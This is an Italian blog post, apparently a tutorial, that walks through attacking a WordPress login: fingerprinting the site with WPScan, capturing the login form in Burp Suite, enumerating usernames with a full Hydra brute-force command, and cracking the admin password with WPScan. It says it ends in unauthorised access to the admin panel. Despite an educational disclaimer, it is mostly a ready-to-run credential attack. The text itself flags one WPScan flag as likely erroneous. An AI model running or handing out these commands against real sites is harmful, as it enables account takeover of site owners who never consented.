Hacking: Wordpress
La seguente procedura è a scopo puramente didattico per comprendere come si muovono i malintenzionati e imparare a difendere il proprio sito wordpress conoscendo le loro tecniche.
Identificare se il sito usa WordPress
- Verifica manualmente se l'URL tuodominio.xxx/wp-admin restituisce la pagina di login.
- Metodo più "nerd": Usa WPScan (spesso preinstallato su Kali Linux):
wpscan --url www.sitotarget.xxx
Scoprire il Nome Utente Admin (con Burp Suite)
- Avvia Burp Suite
- Configura Burp:
Crea un nuovo progetto temporaneo
Aggiungi l'URL del sito target a Target -> Scope. - Configura il Proxy del Browser:
Vai alle Impostazioni di Rete -> Proxy
Seleziona "Configurazione manuale del proxy"
Inserisci IP 127.0.0.1 e Porta 8080
Spunta "Usa questo server proxy per tutti i protocolli" - Cattura la Richiesta di Login:
In Burp, vai alla scheda Proxy
Nel browser (configurato con il proxy), vai alla pagina di login di WordPress (/wp-login.php)
Inserisci credenziali casuali e tenta il login
Esamina la richiesta HTTP POST catturata da Burp per vedere la struttura dei dati inviati (es. log=nomeutente&pwd=password...). Questo ti serve per il passo successivo con Hydra.
Ottenere un Dizionario di Nomi Utente
- Scarica dizionari comuni (es., da CrackStation) o creane uno personalizzato basato su informazioni relative al target. Salvalo in un file (es. dizionario.txt).
Brute-force dei Nomi Utente (con Hydra)
- Usa Hydra per testare la lista di nomi utente contro la pagina di login, usando la struttura della richiesta identificata con Burp:
hydra -V -L dizionario.txt -p whatever 192.168.1.1 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'
-V: Modalità verbosa (mostra dettagli)
-L dizionario.txt: Specifica il file con la lista di username da provare (^USER^)
-p whatever: Usa una password fissa (non ci interessa ora)
192.168.1.1: Sostituisci con l'IP del target - http-post-form '...': Specifica il tipo di attacco e i parametri del form. ^USER^ e ^PASS^ sono placeholder. F=Invalid username indica a Hydra quale messaggio cercare per capire che un tentativo è fallito (adatta questo messaggio se necessario)
Brute-force della Password (con WPScan)
- Una volta trovato un nome utente valido (es. admin), usa WPScan (o Hydra) per trovare la password associata, usando un dizionario di password (es. /usr/share/wordlists/password.txt.gz):
wpscan --url http://sitotarget.xxxx/wp-login.php --passwords /usr/share/wordlists/password.txt.gz --usernames admin --wp-content-dir http://sitotarget.xxxx/wp-login.php
--url: L'URL della pagina di login
--passwords: Il percorso del dizionario di password
--usernames: L'username trovato nel passo precedente
--wp-content-dir: Nota: nel comando originale questo punta alla pagina di login, potrebbe essere un errore nel testo sorgente o un uso specifico; riportato come nell'originale
Se l'attacco ha successo, si ottengono le credenziali valide (username e password), permettendo l'accesso non autorizzato al pannello di amministrazione di WordPress.
Commenti
Posta un commento